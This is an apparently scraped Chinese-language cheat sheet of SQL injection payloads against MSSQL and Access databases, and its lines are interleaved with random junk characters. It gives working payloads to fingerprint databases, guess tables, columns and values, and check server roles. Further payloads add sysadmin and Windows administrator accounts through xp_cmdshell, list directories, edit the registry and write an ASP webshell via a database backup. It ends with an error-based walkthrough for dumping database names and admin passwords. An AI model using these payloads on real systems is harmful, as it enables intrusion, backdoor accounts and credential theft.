1.判断是否有注入
; l$ i3 j9 b/ V8 a8 H! g8 Z8 R4 A;and 1=1 * a$ t5 P% u/ ^( J! T
;and 1=2 3 m& @! W9 x) K: O
0 o/ t. E- z1 b* ]' n, c% `6 t2.初步判断是否是mssql 5 X8 j$ T+ S8 t; q6 x( E
;and user>0
+ s' F# ]8 [5 Q3 s% N7 a6 g! w. a n" V& G. o
3.判断数据库系统
! j. h0 B. h9 }+ ?+ F! {;and (select count(*) from sysobjects)>0 mssql . Z b6 ]5 r' K1 R( e7 J/ D
;and (select count(*) from msysobjects)>0 access
- ?" B, ^ g# ^8 E# e6 G
1 N. W- L! W2 T2 [ N9 y+ G4.注入参数是字符 + u) H: }2 |3 m
'and [查询条件] and ''=' * `( t( h# U. ^7 j+ Z9 ~: d7 V
4 Y6 P9 k! l* f9 n5.搜索时没过滤参数的
+ t6 J% Y* R2 R$ M, q3 S/ ^'and [查询条件] and '%25'='
$ q9 `9 z4 j( a) Q% [0 q' {- @$ e8 O1 O: n
6.猜数表名 ( Q) U2 K7 j% ?' q$ F( ?
;and (select Count(*) from [表名])>0 ( Q: u1 `( q0 c) W
9 k+ h' M$ @% a0 Z
7.猜字段
' g* i* R2 U) d# h { N4 }' x;and (select Count(字段名) from 表名)>0 / b z6 Z/ J& n3 s; y# T: v
8 z+ ~, F1 @# e5 k1 C1 m o
8.猜字段中记录长度
9 C+ \6 l8 z: x3 f- N: ^;and (select top 1 len(字段名) from 表名)>0 + s' a, c8 e5 `7 q9 P
1 i' [9 L1 H* g- W- ^9.(1)猜字段的ascii值(access) 1 ]% w" K! m4 [# ?3 P \* M3 p
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 0 o f' T8 H; @9 a" Z' p, y1 P
, t% ^9 j! P9 p; g0 b! n
(2)猜字段的ascii值(mssql)
1 C5 V- _* z. B" w- K9 q' A;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
9 s6 l4 Y6 E6 }) a& s% t9 L% m
, G6 w' U x% q10.测试权限结构(mssql) * x% I9 b. K1 L+ X' R; L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 j( |4 l9 T" \) b- `$ K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
5 C9 M+ u6 a# ]5 e: p;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- / K( ?+ P B$ A: u% y2 U
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 3 I+ p/ H* B( L
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- # J+ i! e: b3 E+ ? l' }. Q$ r, j5 i
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 8 n X k/ a: e1 T% _
;and 1=(select IS_MEMBER('db_owner'));-- * P! F* N% L c' O: M, k4 a4 ?6 d* }
+ a( K' F' Y! g! i
11.添加mssql和系统的帐户
! {8 b0 Y+ ~) c( S5 w. b5 l: ~' l;exec master.dbo.sp_addlogin username;-- 3 d( I2 C) U- a; x$ A
;exec master.dbo.sp_password null,username,password;-- . ]; _7 G/ i& u) b
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
" }3 G1 I/ E5 ]0 C4 k4 };exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- ! c; @: o: k/ v- e
;exec master.dbo.xp_cmdshell 'net user username password /add';--
" J) F4 H9 Z* R+ c; I;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # L. G6 p# n* W; y8 F. s& d
5 g9 W$ c* q6 w3 T- r1 d12.(1)遍历目录 # j" ?7 W/ J3 v3 P0 J
;create table dirs(paths varchar(100), id int) 5 l1 f1 q4 ?/ D( m& I$ _$ {
;insert dirs exec master.dbo.xp_dirtree 'c:\' 2 Q8 a% l; j% J, _' n1 k( A
;and (select top 1 paths from dirs)>0 5 q& Q" j2 e1 X1 h6 a# V
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
/ j8 B2 L8 s1 ?5 C% `( K3 l+ r
# }# o, q$ ^1 F4 z, n" }4 d4 [4 ?0 z* E(2)遍历目录 : s& j+ H; n3 Z9 Z- p1 `
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- `* v1 s2 m# z z% i7 x+ G b* G
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
. r5 G# M2 x1 ^+ u: z3 X* ^8 y;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- L& ~0 Z1 l' E+ `4 Q;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构 : V# | _/ f& i1 s% D: |( p1 V2 p
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
: A' c$ O9 o7 T! f9 R. W% a/ I: Y- x: j L; B
13.mssql中的存储过程 / r- I# c9 [2 _! w6 G5 j, ]9 M
xp_regenumvalues 注册表根键, 子键
0 D# |, [' v8 i0 c+ T8 s;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 # u2 C: `0 o* `7 Z) X# ^
xp_regread 根键,子键,键值名
7 [6 x: v' Y6 j- b* z;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
: k% x! b5 S0 e) P$ q4 X1 ~xp_regwrite 根键,子键, 值名, 值类型, 值 ) ^2 ?5 |6 \6 X9 v2 B: x
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
9 }& g8 M+ l6 B4 L1 i! R;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: W5 e: C" m' \8 T# x y' Rxp_regdeletevalue 根键,子键,值名 2 ~" v/ [1 A5 I: M& [" ^
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
% R1 f6 e# m7 j( D7 T! Z: B2 Nxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ' k& P4 f, j2 @7 G/ M. t
1 u; @. n% s C# I/ X14.mssql的backup创建webshell ) F+ h' D" l# q6 X. S0 e6 J9 a
use model
9 E. e; r' S$ vcreate table cmd(str image); ! O( k8 g9 |0 O5 ]0 b t+ ]. }
insert into cmd(str) values ('<% Dim oScript %>'); - R" {9 `9 C9 \) p
backup database model to disk='c:\l.asp';
9 b! G9 f Q7 h% k
) j5 d2 v& @3 z7 p6 v9 I15.mssql内置函数
# N6 V9 `( H7 e" j) q;and (select @@version)>0 获得Windows的版本号 P) J: H8 \; p5 Y
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
* {/ H* R, F9 ]7 L;and (select user_name())>0 爆当前系统的连接用户
9 L- U" ^! W* B;and (select db_name())>0 得到当前连接的数据库 * Q, }0 c! B1 j/ J' Z$ ~: I( Q
- J- t* O8 Q, L" @0 }
$ q8 V$ d5 u) F2 f8 _( a
- G# b* H. g z* q1 qMSSQL手注暴库
. L, j! d2 h( S1 |4 d# O5 k
* w. {) Q( f7 Q1.暴出当前表名和列名+ c+ X$ `' u& S+ i
在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。: e% m, D. Y5 I
0 ~/ [/ _8 B/ O7 ]! \. @$ q# o, S! {
第一.爆出所有数据库名
8 r+ r+ S( ^0 \4 X利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。' g, L+ t8 L0 ]. l' L
第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
# h' x8 `0 c; I7 R+ M) j& r
1 v' C2 V+ v0 p. B7 I' }; ]and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名
6 P* U) s+ c( {5 a& {" c4 I* ^, o$ I
4 \0 X5 N8 E+ j n$ `$ {! u
第二.爆出指定库中的所有表名
$ y- ~3 L3 K( x' L+ f4 I得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
; J9 b$ Q' H1 D再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。3 {* V | q/ @3 H3 v% W
# p! }" m' K0 Q7 P
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
3 G+ d8 ?1 K$ q- g; d8 fand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--& z, y0 n4 _' @
and 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--
3 m$ g2 b' F4 u) F/ F0 J1 E6 y+ d
' j5 m; U x/ x1 _8 c# M+ w# r8 |4.爆出指定表中的所有列名
M1 u2 n* l/ j" k* yand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) ! K7 L6 S& U$ U
//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
* @' n9 x2 X9 r: C: L# z. N% Y8 m9 b) G
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名
5 P/ _! I! X( s- s+ f- j" n+ F" z2 B. n! | O) _
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))-- ! b' c+ z0 A& u) q1 o
依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
1 \9 b! d3 j4 ?7 r. P; y' \. D! u2 z% e7 O7 R/ g2 G5 H7 ?9 J; ^; O
]7 F9 _' w. \0 x4 m H' t0 Pand 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
. U* I/ L. e3 S6 t4 I( @ K! `6 J& y4 f3 [+ ~
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名
4 e2 D9 r9 t) ^) i: Q5 n
8 d9 C1 ~1 q: i, i/ u+ t2 `and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))--
8 I1 s7 O% b. Y8 f- x: H3 N+ R5 e& Y9 P
# a( m6 G7 m7 P3 u# q% Q: P2 C# r" ]5 j* c: H+ O- c( i
5.读取指定表中的数据/ e$ B* }" T( y
$ ]: s; w1 U/ m0 \- B
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容 4 [/ b/ C: W* R1 S5 {) N9 L
: I: z5 z. D' [' N" g3 h
and 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--( O. R/ Q4 g3 o" w% }
' _! z) T& L& }$ j. ~; F
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码
1 M, {; y6 u5 I! M! w' C: F3 Q' ~9 O# o ]' E5 F$ g
7 g* s" n# p5 Gand 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)
+ O9 G1 L! O+ R/ Y. _$ w- [: p! k i- {- u6 q. t) U/ d: B
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)- H* G3 ] h( A% [% s! b
7 e5 d+ t, e" A0 n6 Q+ e9 dand 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
) B( o6 l* _$ z+ l6 Y$ u F
) P$ \- V) q1 Z& d- n/ Q9 e0 H知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。" T) g8 F/ O: ^& c) M; R! r% a
|